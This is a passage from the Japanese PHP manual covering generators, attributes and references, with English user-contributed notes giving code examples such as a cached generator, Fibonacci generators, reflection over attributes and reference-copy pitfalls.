You can use generators to do lazy loading of lists. You only compute the items that are actually used. However, when you want to load more items, how to cache the ones already loaded?

Here is how to do cached lazy loading with a generator:

<?php
class CachedGenerator {
    protected $cache = [];
    protected $generator = null;

    public function __construct($generator) {
        $this->generator = $generator;
    }

    public function generator() {
        foreach($this->cache as $item) yield $item;

        while( $this->generator->valid() ) {
            $this->cache[] = $current = $this->generator->current();
            $this->generator->next();
            yield $current;
        }
    }
}
class Foobar {
    protected $loader = null;

    protected function loadItems() {
        foreach(range(0,10) as $i) {
            usleep(200000);
            yield $i;
        }
    }

    public function getItems() {
        $this->loader = $this->loader ?: new CachedGenerator($this->loadItems());
        return $this->loader->generator();
    }
}

$f = new Foobar;

# First
print "First\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
    if( $i == 5 ) {
        break;
    }
}

# Second (items 1-5 are cached, 6-10 are loaded)
print "Second\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}

# Third (all items are cached and returned instantly)
print "Third\n";
foreach($f->getItems() as $i) {
    print $i . "\n";
}
?>
christophe dot maymard at gmail dot com 11-Sep-2014 04:43
<?php
//Example of class implementing IteratorAggregate using generator

class ValueCollection implements IteratorAggregate
{
    private $items = array();

    public function addValue($item)
    {
        $this->items[] = $item;
        return $this;
    }

    public function getIterator()
    {
        foreach ($this->items as $item) {
            yield $item;
        }
    }
}

//Initializes a collection
$collection = new ValueCollection();
$collection
        ->addValue('A string')
        ->addValue(new stdClass())
        ->addValue(NULL);

foreach ($collection as $item) {
    var_dump($item);
}
denshadewillspam at HOTMAIL dot com 13-Apr-2014 10:46
Note that you can't use count() on generators.

/**
 * @return integer[]
 */
function xrange() {
    for ($a = 0; $a < 10; $a++)
    {
        yield $a;
    }
}

function mycount(Traversable $traversable)
{
    $skip = 0;
    foreach($traversable as $skip)
    {
        $skip++;
    }
    return $skip;
}
echo "Count:" . count(xrange()). PHP_EOL;
echo "Count:" . mycount(xrange()). PHP_EOL;
Shumeyko Dmitriy 08-Nov-2013 07:46
This is little example of using generators with recursion. Used version of php is 5.5.5
[php]
<?php
define ("DS", DIRECTORY_SEPARATOR);
define ("ZERO_DEPTH", 0);
define ("DEPTHLESS", -1);
define ("OPEN_SUCCESS", True);
define ("END_OF_LIST", False);
define ("CURRENT_DIR", ".");
define ("PARENT_DIR", "..");

function DirTreeTraversal($DirName, $MaxDepth = DEPTHLESS, $CurrDepth = ZERO_DEPTH)
{
  if (($MaxDepth === DEPTHLESS) || ($CurrDepth < $MaxDepth)) {
    $DirHandle = opendir($DirName);
    if ($DirHandle !== OPEN_SUCCESS) {
      try{
        while (($FileName = readdir($DirHandle)) !== END_OF_LIST) { //read all file in directory
          if (($FileName != CURRENT_DIR) && ($FileName != PARENT_DIR)) {
            $FullName = $DirName.$FileName;
            yield $FullName;
            if(is_dir($FullName)) { //include sub files and directories
              $SubTrav = DirTreeTraversal($FullName.DS, $MaxDepth, ($CurrDepth + 1));
              foreach($SubTrav as $SubItem) yield $SubItem;
            }
          }
        }
      } finally {
        closedir($DirHandle);
      }
    }
  }
}

$PathTrav = DirTreeTraversal("C:".DS, 2);
print "<pre>";
foreach($PathTrav as $FileName) printf("%s\n", $FileName);
print "</pre>";
[/php]
Adil lhan (adilmedya at gmail dot com) 18-Apr-2013 09:02
For example yield keyword with Fibonacci:

function getFibonacci()
{
    $i = 0;
    $k = 1; //first fibonacci value
    yield $k;
    while(true)
    {
        $k = $i + $k;
        $i = $k - $i;
        yield $k;
    }
}

$y = 0;

foreach(getFibonacci() as $fibonacci)
{
    echo $fibonacci . "\n";
    $y++;
    if($y > 30)
    {
        break; // infinite loop prevent
    }
}


ジェネレータと Iterator オブジェクトとの比較

ジェネレータの最大のメリットは、シンプルに書けることです。 Iterator を実装するのに比べて、必要な決まり文句の数がかなり少なくなります。 また、ジェネレータを使ったコードのほうが、一般的に読みやすくなります。 たとえば、次の関数とクラスを比べてみましょう。これらはどちらも同じ働きをするものです。

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        return;
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// これを、下のクラスと比べてみると......

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() {
        fseek($this->fileHandle, 0);
        $this->line = fgets($this->fileHandle);
        $this->i = 0;
    }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

しかし、柔軟性を実現するために犠牲にしていることもあります。 ジェネレータは前方にしか進めないイテレータなので、いったん反復処理が始まれば巻き戻すことができません。 これはつまり、同じジェネレータを何度も使い回せないということです。 ジェネレータ関数を呼んでもう一度作り直す必要があります。

User Contributed Notes

jorgeley at gmail dot com 04-Nov-2019 09:44
I think the power of generators is underestimated here, look at my example:

<?php

/**
 * simple example class just to have something to instantiate
 */
class obj {

    private $i = 1;
    private $a = [];

    function __construct($i = 1) {
        $this->i = $i;
        $this->a = range(0, $i);
    }

    public function getI() {
        return $this->i;
    }
    //more getters and setters...
}

/**
 * this is a common way of returning objects in a bulk
 * @param int $n
 * @return \obj
 */
function returnObjects($n = 1000) {
    $objs = [];
    for ($i = 1; $i <= $n; $i++) {
        $objs[] = new obj($i);
    }
    return $objs;
}

/**
 * this is a  better way using generator, rather than returning all objects,
 * it returns one by one (it saves the state of the function in every call)
 * @param int $n
 */
function generateObjects($n = 1000) {
    for ($i = 1; $i <= $n; $i++) {
        /**
         * 'yield' returns the object and save the status of the function, so
         * next call starts from next loop iteration and so on...
         */
        yield (new obj($i));
    }
}

//main script: get current memory, run one of the functions and calculate memory usage after
$m = memory_get_peak_usage();
/**
 * comment 'returnObjects()' call bellow and uncomment 'generateObjects()' call
 * if you want to see the generator memory usage
 */
//$objs = returnObjects();

/**
 * comment 'generateObjects()' and uncomment 'returnObjects()' call if you
 * want to see the common function return memory usage
 */
$objs = generateObjects();
foreach ($objs as $obj) {
    echo get_class($obj) . ": {$obj->getI()}\n";
}
echo "total memory comsuption: " . (memory_get_peak_usage() - $m) . " bytes\n";

?>

what is the outcome? Using the 'returnObjects()' we return an array within 1000 objects, but using the 'generateObjects()' we only instantiate one object since the yield returns (stop the loop) but also saves the state of the function, so next call the function resumes rather than restarting. In my environment I got a difference of 37K to 25M
Thanks to my dear friend Ivan Frezza who helped me to understand this better!
sergeyzsg at yandex dot ru 08-Jun-2014 12:32
I think that this is bad generator example.
If user will not consume all lines then file will not be closed.

<?php
function getLinesFromFile($fileHandle) {
    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }
}

if ($fileHandle = fopen($fileName, 'r')) {
    /*
    something with getLinesFromFile
    */
    fclose($fileHandle);
}
?>
sou at oand dot re 04-Jul-2013 01:34
I think to be more similar the samples in the function, throw a new exception is better. But looking into "Generator syntax" session, you can see there this: "An empty return statement is valid syntax within a generator and it will terminate the generator.". By this point of view, we can imagine that this is just to exemplify an usage of the empty return.
mNOSPAMsenghaa at nospam dot gmail dot com 20-Jun-2013 07:45
This hardly seems a fair comparison between the two examples, size-for-size. As noted, generators are forward-only, meaning that it should be compared to an iterator with a dummy rewind function defined. Also, to be fair, since the iterator throws an exception, shouldn't the generator example also throw the same exception? The code comparison would become more like this:

<?php
function getLinesFromFile($fileName) {
    if (!$fileHandle = fopen($fileName, 'r')) {
        throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
    }

    while (false !== $line = fgets($fileHandle)) {
        yield $line;
    }

    fclose($fileHandle);
}

// versus...

class LineIterator implements Iterator {
    protected $fileHandle;

    protected $line;
    protected $i;

    public function __construct($fileName) {
        if (!$this->fileHandle = fopen($fileName, 'r')) {
            throw new RuntimeException('Couldn\'t open file "' . $fileName . '"');
        }
    }

    public function rewind() { }

    public function valid() {
        return false !== $this->line;
    }

    public function current() {
        return $this->line;
    }

    public function key() {
        return $this->i;
    }

    public function next() {
        if (false !== $this->line) {
            $this->line = fgets($this->fileHandle);
            $this->i++;
        }
    }

    public function __destruct() {
        fclose($this->fileHandle);
    }
}
?>

The generator is still obviously much shorter, but this seems a more reasonable comparison.


アトリビュート

目次

  • アトリビュートの概要
  • アトリビュートの文法
  • リフレクションAPI を使ってアトリビュートを読み取る
  • アトリビュートクラスを宣言する

User Contributed Notes

There are no user contributed notes for this page.


アトリビュートの概要

(PHP 8)

アトリビュートを使うと、 コンピューターが解析できる構造化されたメタデータの情報を、 コードの宣言時に埋め込むことができます。 つまり、クラス、メソッド、関数、プロパティ、クラス定数にアトリビュートを指定することができます。 アトリビュートで定義されたメタデータは、 実行時に リフレクションAPI を使って調べることが出来ます。 よって、アトリビュートは、 コードに直接埋め込むことが出来る、 設定のための言語とみなすことができます。

アトリビュートを使うと、機能の抽象的な実装と、アプリケーションでの具体的な利用を分離できます。 この点でアトリビュートは、インターフェイスとその実装と比較できます。 インターフェイスとその実装はコードに関する情報ですが、 アトリビュートはコードの追加情報と設定に注釈を付けるものです。 インターフェイスはクラスによって実装できますが、 アトリビュートはメソッドや関数、引数、プロパティ、クラス定数で宣言できます。 よって、アトリビュートはインターフェイスより柔軟です。

アトリビュートの使い方の簡単な例として、 必須でないメソッドを持つインターフェイスを、 アトリビュートを使うように変換するコードを示します。 アプリケーションの操作を表現する ActionHandler があるとします。 この ActionHandler の実装は、セットアップが必須なものもありますが、 そうでないものもあります。 ActionHandler を実装する全てのクラスで setUp() メソッドを必須とする代わりに、 アトリビュートを使うようにしてみましょう。 このアプローチの利点のひとつは、 アトリビュートを複数回使えることです。

例1 アトリビュートを使い、インターフェイスのオプションのメソッドを実装する

<?php
interface ActionHandler
{
    public function execute();
}

#[Attribute]
class SetUp {}

class CopyFile implements ActionHandler
{
    public string $fileName;
    public string $targetDirectory;

    #[SetUp]
    public function fileExists()
    {
        if (!file_exists($this->fileName)) {
            throw new RuntimeException("File does not exist");
        }
    }

    #[SetUp]
    public function targetDirectoryExists()
    {
        mkdir($this->targetDirectory);
    }

    public function execute()
    {
        copy($this->fileName, $this->targetDirectory . '/' . basename($this->fileName));
    }
}

function executeAction(ActionHandler $actionHandler)
{
    $reflection = new ReflectionObject($actionHandler);

    foreach ($reflection->getMethods() as $method) {
        $attributes = $method->getAttributes(SetUp::class);

        if (count($attributes) > 0) {
            $methodName = $method->getName();

            $actionHandler->$methodName();
        }
    }

    $actionHandler->execute();
}

$copyAction = new CopyFile();
$copyAction->fileName = "/tmp/foo.jpg";
$copyAction->targetDirectory = "/home/user";

executeAction($copyAction);

User Contributed Notes

There are no user contributed notes for this page.


アトリビュートの文法

アトリビュートの文法は、複数の部分からなります。 まず最初に、アトリビュートの宣言は常に #[ で始まり、 それに対応する ] で囲みます。 その内部では、ひとつ以上のアトリビュートが並び、それぞれをカンマで区切ります。 アトリビュートの名前は、 名前空間の基礎 で説明している 非修飾名、修飾名、完全修飾名が指定できます。 アトリビュートの引数はオプションですが、 括弧 () で囲みます。 アトリビュートの引数はリテラル値か、定数式のみが指定できます。 位置を指定した引数と、名前付き引数の両方が使えます。

アトリビュートの名前と引数は、 アトリビュートのインスタンスがリフレクションAPIから要求された際、 クラスとそのコンストラクタに渡す引数として解決されます。 よって、それぞれのアトリビュート毎にクラスが存在するはずです。

例1 アトリビュートの文法

<?php
// a.php
namespace MyExample;

use Attribute;

#[Attribute]
class MyAttribute
{
    const VALUE = 'value';

    private $value;

    public function __construct($value = null)
    {
        $this->value = $value;
    }
}

// b.php

namespace Another;

use MyExample\MyAttribute;

#[MyAttribute]
#[\MyExample\MyAttribute]
#[MyAttribute(1234)]
#[MyAttribute(value: 1234)]
#[MyAttribute(MyAttribute::VALUE)]
#[MyAttribute(array("key" => "value"))]
#[MyAttribute(100 + 200)]
class Thing
{
}

#[MyAttribute(1234), MyAttribute(5678)]
class AnotherThing
{
}

User Contributed Notes

There are no user contributed notes for this page.


リフレクションAPI を使ってアトリビュートを読み取る

クラス、メソッド、関数、引数、プロパティ、クラス定数からアトリビュートにアクセスするために、 リフレクションAPI は対応するリフレクションオブジェクトに getAttributes() メソッドを提供しています。 このメソッドを使うと、 アトリビュートの名前や引数で問い合わせを行うことができ、 アトリビュートを表現するクラスをインスタンス化させることができます。 このメソッドは、ReflectionAttribute のインスタンスの配列を返します。

リフレクションされたアトリビュートの表現と、 実際のインスタンスを分離することで、 アトリビュートのクラスが存在しなかったり、 タイピングミスや引数の不足に関するエラーをプログラマが制御しやすくなります。 newInstance() を呼び出した後のみ、 アトリビュートクラスのオブジェクトはインスタンス化でき、 引数が合っているかを検証できます。これ以前のタイミングでは出来ません。

例1 リフレクションAPIを使い、アトリビュートを読み取る

<?php

#[Attribute]
class MyAttribute
{
    public $value;

    public function __construct($value)
    {
        $this->value = $value;
    }
}

#[MyAttribute(value: 1234)]
class Thing
{
}

function dumpAttributeData($reflection) {
    $attributes = $reflection->getAttributes();

    foreach ($attributes as $attribute) {
       var_dump($attribute->getName());
       var_dump($attribute->getArguments());
       var_dump($attribute->newInstance());
    }
}

dumpAttributeData(new ReflectionClass(Thing::class));
/*
string(11) "MyAttribute"
array(1) {
  ["value"]=>
  int(1234)
}
object(MyAttribute)#3 (1) {
  ["value"]=>
  int(1234)
}
*/

アトリビュートクラスの名前を渡すことで、 リフレクションインスタンスの全てのアトリビュートをループさせる代わりに、 特定のアトリビュートのクラスだけを取得することができます。

例2 リフレクションAPIを使い、特定のアトリビュートを読み取る

<?php

function dumpMyAttributeData($reflection) {
    $attributes = $reflection->getAttributes(MyAttribute::class);

    foreach ($attributes as $attribute) {
       var_dump($attribute->getName());
       var_dump($attribute->getArguments());
       var_dump($attribute->newInstance());
    }
}

dumpAttributeData(new ReflectionClass(Thing::class));

User Contributed Notes

Hirusha Sharma 08-Mar-2021 08:34
Fetch properties from functions:

----------------------------------------
Function definition with attributes:
----------------------------------------
#[ReadOnly]
#[Property(type: 'function', name: 'Hello')]
function Hello()
{
    return "Hello";
}

-----------------------------------------
Gather attributes from the function
-----------------------------------------
function getAttributes(Reflector $reflection)
{
    $attributes = $reflection->getAttributes();
    $result = [];
    foreach ($attributes as $attribute)
    {
        $result[$attribute->getName()] = $attribute->getArguments();
    }
    return $result;
}

$reflection = new ReflectionFunction("Hello");
print_r(getAttributes($reflection));

-----------------------------
OUTPUT
-----------------------------
Array
(
    [ReadOnly] => Array
        (
        )

    [Property] => Array
        (
            [type] => function
            [name] => Hello
        )

)


アトリビュートクラスを宣言する

厳密に必須ではありませんが、 アトリビュート毎にクラスを作成することを推奨します。 もっとも簡単な場合、 グローバル名前空間からuse文でインポートできる アトリビュート #[Attribute] を宣言した空のクラスだけが必要です。

例1 アトリビュートを使える場所を限定するために、ターゲットとなるクラスを作る

<?php

namespace Example;

use Attribute;

#[Attribute]
class MyAttribute
{
}

アトリビュートを割り当てられる場所を制限するために、 #[Attribute] 宣言の第一引数にビットマスクを渡すことができます。

例2 単純なアトリビュートクラスの例

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION)]
class MyAttribute
{
}

MyAttribute を別の型で宣言すると、 ReflectionAttribute::newInstance() の呼び出し時に例外がスローされます。

デフォルトでは、アトリビュートは一度宣言したら一度だけ使うことが出来ます。 アトリビュートを宣言時に繰り返し使えるようにする場合、 #[Attribute] の宣言時に、ビットマスクで指定しなければいけません。

例3 宣言時にアトリビュートを複数回使えるように、IS_REPEATABLE を使う

<?php

namespace Example;

use Attribute;

#[Attribute(Attribute::TARGET_METHOD | Attribute::TARGET_FUNCTION | Attribute::IS_REPEATABLE)]
class MyAttribute
{
}

User Contributed Notes

There are no user contributed notes for this page.


リファレンスの説明

目次

  • リファレンスとは?
  • リファレンスが行うことは何ですか?
  • リファレンスが行わないこと
  • リファレンス渡し
  • リファレンスを返す
  • リファレンスの解除
  • リファレンスの適用範囲

User Contributed Notes

dallgoot 09-Jun-2018 04:09
After some headaches, here is a function to check if, between 2 variables $a,$b check if one is a reference to the other.
It means they "point" to the same value.
Tested on :
PHP 7.2.2 (cli) (built: Jan 31 2018 19:31:17) ( ZTS MSVC15 (Visual C++ 2017) x64 )
Hope that helps...
<?php

function are_references(&$a, &$b){
    $mem = $a;     //memorize
    $a = uniqid ("REFERENCE???", true ); //change $a
    $same = $a === $b; //compare
    $a = $mem; //restore $a
    return $same;
}
echo "***distinct vars AND distinct values\n";
$a = "toto";
$b = "tata";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo "***distinct vars BUT SAME values\n";
$a = "toto";
$b = "toto";

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $b is a reference of $a'."\n";
$a = "titi";
$b = &$a;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";

echo '*** $a is a reference of $b'."\n";
$b = "titi";
$a = &$b;

var_dump($a, $b, are_references($a, $b));
echo "verify original values: $a, $b\n";
?>
Result:
***distinct vars AND distinct values
string(4) "toto"
string(4) "tata"
bool(false)
verify original values: toto, tata
***distinct vars BUT SAME values
string(4) "toto"
string(4) "toto"
bool(false)
verify original values: toto, toto
*** $b is a reference of $a
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
*** $a is a reference of $b
string(4) "titi"
string(4) "titi"
bool(true)
verify original values: titi, titi
jszoja at gmail dot com 23-Mar-2016 11:09
Be aware of a reference to another reference. It is probably bad practice to even do that.

<?php
    class Obj1 { public $name = 'Obj1'; }
    class Obj2 { public $name = 'Obj2'; }

    $objects = [];
    $toLoad = [ 'Obj1', 'Obj2' ];

    foreach( $toLoad as $i => $obj )
    {
        $ref = new $obj();
        $objects[$i] =& $ref; // a reference to a reference
        // $objects[$i] = $ref; // that would work
    }

    echo $objects[0]->name;
        // outputs 'Obj2' !
?>
Someone 16-Dec-2015 09:37
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

//above was Noted By Dave at SymmetricDesign dot com//
//and below is my opinion to this simple problem. //

This is an normal referencing problem.

when you gain an reference to a memory at some variable.
this variable, means "memory itself". (in above example, this would be ->  $x = &$array1[1];   // Unused reference)

and you've copied original one($array1) to another one($array2).
and the copy means "paste everything on itself". including references or pointers, etcs. so, when you copied $array1 to $array2, this $array2 has same referencers that original $array1 has. meaning that $x = &$array1[1]  = &$array2[1];
and again i said above. this reference means "memory itself".
when you choose to inserting some values to $array2[1],
$x; reference is affected by $array2[1]'s value. because, in allocated memory, $array2[1] is a copy of $array1[1]. this means that $array2[1] = $array1[1], also means &$array2[1] = &$array1[1]  as said above. this causes memory's  value reallocation on $array1[1]. at this moment. the problem of this topic is cleared by '$x', the memory itself.  and this problem was solved by unsetting the '$x'. unsetting this reference triggers memory reallocation of $array2[1]. this closes the reference link between the copied one($array1, which is the original) and copy($array2). this is where that bug(clearly, it's not a bug. it's just a missunderstanding) has triggered by. closing reference link makes two array object to be separated on memory. and this work was done through the unset() function. this topic was posted 7 years ago, but i just want to clarify that it's not a bug.

if there's some problems in my notes, plz, note that on above.
alexander at gamerev dot org 13-Mar-2014 02:47
Simply put, here's an example of what referencing IS:

<?php
    $foo  = 5;
    $bar = &$foo;
    $bar++;

    echo $foo;
?>

The above example will output the value 6, because $bar references the value of $foo, therefore, when changing $bar's value, you also change $foo's value too.
shooo dot xz at gmail dot com 10-Sep-2013 12:53
Hi, i've worked a abit on reference stuff.
Here is what i've noticed.

The problem: Sort mysql result through columns

$rewrite_self = gt::recombine(array('lang', 'id'), 'value_column', $sql_result);

public static function recombine($keys, $value, &$arr) {
        $ref = array();
        $main = &$ref;
        foreach($arr as $data) {
            foreach($keys as $key) {
                if (!is_array($ref[$data[$key]])) $ref[$data[$key]] = array();
                $ref = &$ref[$data[$key]];
            }
            $ref = $data[$value];
            $ref = &$main;
        }
        return $main;
}

array(2) {
  ["pl"]=>
  array(2) {
    [2]=>
    string(4) "value_column_str"
    [3]=>
    string(4) "value_column_str2"
  }
  ["en"]=>
  array(1) {
    [13]=>
    string(7) "value_column_str3"
  }
}

Enjoy!
sneskid at hotmail dot com 15-Mar-2012 10:19
There is no built in method (yet) to check if two variables are references to the same piece of data, but you can do a "reference sniff" test. This is rarely needed, but can be very useful. The function bellow is a slightly modified version of this technique I saw in a forum regarding this comparison limitation.

<?php
function is_ref_to(&$a, &$b)
{
    $t = $a;
    if($r=($b===($a=1))){ $r = ($b===($a=0)); }
    $a = $t;
    return $r;
}

$varA = 1;
$varB = $varA;
$varC =&$varA;

var_dump( is_ref_to($varA, $varB) ); // bool(false)
var_dump( is_ref_to($varA, $varC) ); // bool(true)
?>

The test above uses a two step process to be 100% generic.
But if you are sure the variables being tested will not be a certain value, example null, then use that value to allow a one step check.

<?php
function is_ref_to_1step(&$a, &$b)
{
    $t = $a;
    $r=($b===($a=null));
    $a = $t;
    return $r;
}
?>
zoranbankovic at gmail dot com 16-Oct-2010 01:59
If someone wants to add slashes to multidimensional array directly, can use recursive (pass-by-reference) function like this:
<?php
function slashit(&$aray, $db_link)
{
  foreach ($aray as $key => &$value)
   if(is_array($value)) slashit($value, $link);
   else $aray[$key] = mysql_real_escape_string($value, $db_link);
}

// Test:
$fruits = array (
    "fruits"  => array("a" => "or'ange", "b" => "ban'ana", "c" => "apple'"),
    "numbers" => array(1, 2, 3, 4, 5, 6),
    "holes"   => array("fir'st", 5 => "sec'ond", "thir'd"),
    "odma"    => "jugo'slavija"
);

// You have to make link to the database or can use addslashes instead of mysql_real_escape_string and remove $link from function definition

slashit($fruits, $dbLink);
echo "<pre>"; print_r($fruits); echo "</pre>";
?>

// Output:
Array
(
    [fruits] => Array
        (
            [a] => or\'ange
            [b] => ban\'ana
            [c] => apple\'
        )

    [numbers] => Array
        (
            [0] => 1
            [1] => 2
            [2] => 3
            [3] => 4
            [4] => 5
            [5] => 6
        )

    [holes] => Array
        (
            [0] => fir\'st
            [5] => sec\'ond
            [6] => thir\'d
        )

    [odma] => jugo\'slavija
)
gnuffo1 at gmail dot com 27-Aug-2010 07:07
If you want to know the reference count of a particular variable, then here's a function that makes use of debug_zval_dump() to do so:

<?php
function refcount($var)
{
    ob_start();
    debug_zval_dump($var);
    $dump = ob_get_clean();

    $matches = array();
    preg_match('/refcount\(([0-9]+)/', $dump, $matches);

    $count = $matches[1];

    //3 references are added, including when calling debug_zval_dump()
    return $count - 3;
}
?>

debug_zval_dump() is a confusing function, as explained in its documentation, as among other things, it adds a reference count when being called as there is a reference within the function. refcount() takes account of these extra references by subtracting them for the return value.

It's also even more confusing when dealing with variables that have been assigned by reference (=&), either on the right or left side of the assignment, so for that reason, the above function doesn't really work for those sorts of variables. I'd use it more on object instances.

However, even taking into account that passing a variable to a function adds one to the reference count; which should mean that calling refcount() adds one, and then calling debug_zval_dump() adds another, refcount() seems to have aquired another reference from somewhere; hence subtracting 3 instead of 2 in the return line. Not quite sure where that comes from.

I've only tested this on 5.3; due to the nature of debug_zval_dump(), the results may be completely different on other versions.
Youssef Omar 15-Dec-2009 12:27
This is to show the affect of changing property of object A through another object B when you pass object A as a property of another object B.

<?php
 // data class to be passed to another class as an object
 class A{
     public $info;
    function __construct(){
        $this->info = "eeee";
    }
 }

 // B class to change the info in A obj
 class B_class{
     public $A_obj;

    function __construct($A_obj){
        $this->A_obj =  $A_obj;
    }
    public function change($newVal){
        $this->A_obj->info = $newVal;
    }
 }

 // create data object from the A
 $A_obj = new A();
 // print the info property
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

 // create the B object and pass the A_obj we created above
 $B_obj = new B_class($A_obj);
 // print the info property through the B object to make sure it has the same value 'eeee'
 echo 'B_obj info: ' . $B_obj->A_obj->info . '<br/>';

 // chage the info property
 $B_obj->change('xxxxx');
 // print the info property through the B object to make sure it changed the value to 'xxxxxx'
 echo 'B_obj info after change: ' . $B_obj->A_obj->info . '<br/>';
 // print the info property from the A_obj to see if the change through B_obj has affected it
 echo 'A_obj info: ' . $A_obj->info . '<br/>';

?>

The result:

A_obj info: eeee
B_obj info: eeee
B_obj info after change: xxxxx
A_obj info: xxxxx
Anonymous 01-Sep-2009 01:07
After hours of confusion and reading tons of posts I finally figured out that replacing PHP 4 style object creation, where new is assigned by reference:

$node_obj =& new someClass($somearg, $moreargs);

which in PHP 5.3.0 generates an E_STRICT message telling you that "Assigning the return value of new by reference is deprecated"

with the following, where & has been removed:

$node_obj = new someClass($somearg, $moreargs);

in some cases (at least in recursive loops while creating a tree of nodes containing child nodes) requires

unset($node_obj);

before the actual object assignment line to avoid all child nodes becoming identical.

Hope that delicate piece of information will save someone else a few hours.
midir 28-Feb-2009 11:44
Here is a good magazine article (PDF format) that explains the internals of PHP's reference mechanism in detail: http://derickrethans.nl/files/phparch-php-variables-article.pdf

It should explain some of the odd behavior PHP sometimes seems to exhibit, as well as why you can't create "references to references" (unlike in C++), and why you should never attempt to use references to speed up passing of large strings or arrays (it will make no difference, or it will slow things down).

It was written for PHP 4 but it still applies. The only difference is in how PHP 5 handles objects: passing object variables by value only copies an internal pointer to the object. Objects in PHP 5 are only ever duplicated if you explicitly use the clone keyword.
ivan at mailinator dot com 09-Dec-2008 05:09
A little gotcha (be careful with references!):

<?php
$arr = array('a'=>'first', 'b'=>'second', 'c'=>'third');
foreach ($arr as &$a); // do nothing. maybe?
foreach ($arr as $a);  // do nothing. maybe?
print_r($arr);
?>
Output:

Array
(
    [a] => first
    [b] => second
    [c] => second
)

Add 'unset($a)' between the foreachs to obtain the 'correct' output:

Array
(
    [a] => first
    [b] => second
    [c] => third
)
zzo38 16-Jul-2008 01:08
You can make references like pointers. Example:
<?php
  $a=6;
  $b=array(&$a); // $b is a pointer to $a
  $c=array(&$b); // $c is a pointer to $b
  $d=7;
  $c[0][0]=9; // $a is 9
  $c[0]=array(&$d); // $b is a pointer to $d
  $c[0][0]=4; // $d is 4
  $b=array(&$a); // $b is a pointer to $a again
  echo $a.$b[0].$c[0][0].$d; // outputs 9994
?>
These kind of pointers may even be passed to functions or returned from functions, copied and stored in multiple arrays/variables/objects, etc.
jasonpvp at gmail dot com 10-Jul-2008 04:16
To change values in a multi-dimensional array while looping through:

$var=array('a'=>array(1,2,3),'b'=>array(4,5,6));

foreach ($var as &$sub) {
  foreach ($sub as &$element) {
    $element=$element+1;
  }
}

var_dump($var);

------------------------------
produces:
------------------------------
array(2) {
  ["a"]=>
  array(3) {
    [0]=>
    int(2)
    [1]=>
    int(3)
    [2]=>
    int(4)
  }
  ["b"]=>
  array(3) {
    [0]=>
    int(5)
    [1]=>
    int(6)
    [2]=>
    int(7)
  }
}
mpapec 26-Jun-2008 05:23
It's strange that function definition AND call to the same function must have "&" before them.

$arr = array();
$ref =& oras($arr['blah'], array());
$ref []= "via ref";
print_r($arr);

/* result
Array
(
    [blah] => Array
        (
            [0] => via ref
        )

)
*/

// perl like ||=
function &oras (&$v, $new) {
  $v or $v = $new;
  return $v;
}
dnhuff at acm dot org 09-Jun-2008 12:40
This is discussed before (below) but bears repeating:

$a = null; ($a =& null; does not parse) is NOT the same as unset($a);

$a = null; replaces the value at the destination of $a with the null value;

If you chose to use a convention like $NULL = NULL;

THEN, you could say $a =& $NULL to break any previous reference assignment to $a (setting it of course to $NULL), which could still get you into trouble if you forgot and then said $a = '5'. Now $NULL would be '5'.

Moral: use unset when it is called for.
Dave at SymmetricDesigns dot com 20-May-2008 11:24
Another example of something to watch out for when using references with arrays.  It seems that even an usused reference to an array cell modifies the *source* of the reference.  Strange behavior for an assignment statement (is this why I've seen it written as an =& operator?  - although this doesn't happen with regular variables).
<?php
    $array1 = array(1,2);
    $x = &$array1[1];   // Unused reference
    $array2 = $array1;  // reference now also applies to $array2 !
    $array2[1]=22;      // (changing [0] will not affect $array1)
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 22    // var_dump() will show the & here
    )

I fixed my bug by rewriting the code without references, but it can also be fixed with the unset() function:
<?php
    $array1 = array(1,2);
    $x = &$array1[1];
    $array2 = $array1;
    unset($x); // Array copy is now unaffected by above reference
    $array2[1]=22;
    print_r($array1);
?>
Produces:
    Array
    (
    [0] => 1
    [1] => 2
    )
marco at greenlightsolutions dot nl 15-Nov-2007 02:38
I ran into a bit of a problem recently, with an array copy resulting in a reference copy of one of the elements instead of a clone. Sample code:

<?php
$a=array(1 => "A");
$b=&$a[1];
$c=$a; // should be a deep cloning
$c[1]="C";
var_dump($a[1]); // yields 'C' instead of 'A'
?>

After some searching, I found that it was a known bug which would be too costly to fix (see http://bugs.php.net/bug.php?id=20993). There was supposed to be some documentation on this behaviour on this page:

"Due to peculiarities of the internal workings of PHP, if a reference  is made to a single element of an array and then the array is copied, whether by assignment or when passed by value in a function call, the reference is copied as part of the array.  This means that changes to any such elements in either array will be duplicated in the other array (and in the other references), even if the arrays have different scopes (e.g. one is an argument inside a function and the other is global)!  Elements that did not have references at the time of the copy, as well as references assigned to those other elements after the copy of the array, will behave normally (i.e. independent of the other array)."

However, this paragraph appears to have been removed from this page at some point, presumably because it was a bit obscure. The comments section seem to be a proper place for this, though.
